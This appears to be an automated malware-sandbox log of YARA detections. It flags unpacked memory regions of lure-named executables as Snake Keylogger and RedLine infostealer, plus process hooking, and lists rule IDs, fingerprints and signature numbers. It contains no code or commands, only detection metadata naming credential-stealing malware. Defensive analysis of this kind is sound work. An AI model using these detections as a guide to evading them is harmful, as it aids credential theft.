Source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.Cneehezx.PIF.21496c78.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.D.G Governor Istek,Docx.exe.21ab13d8.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.1.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 6.2.Cneehezx.PIF.214d58a8.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
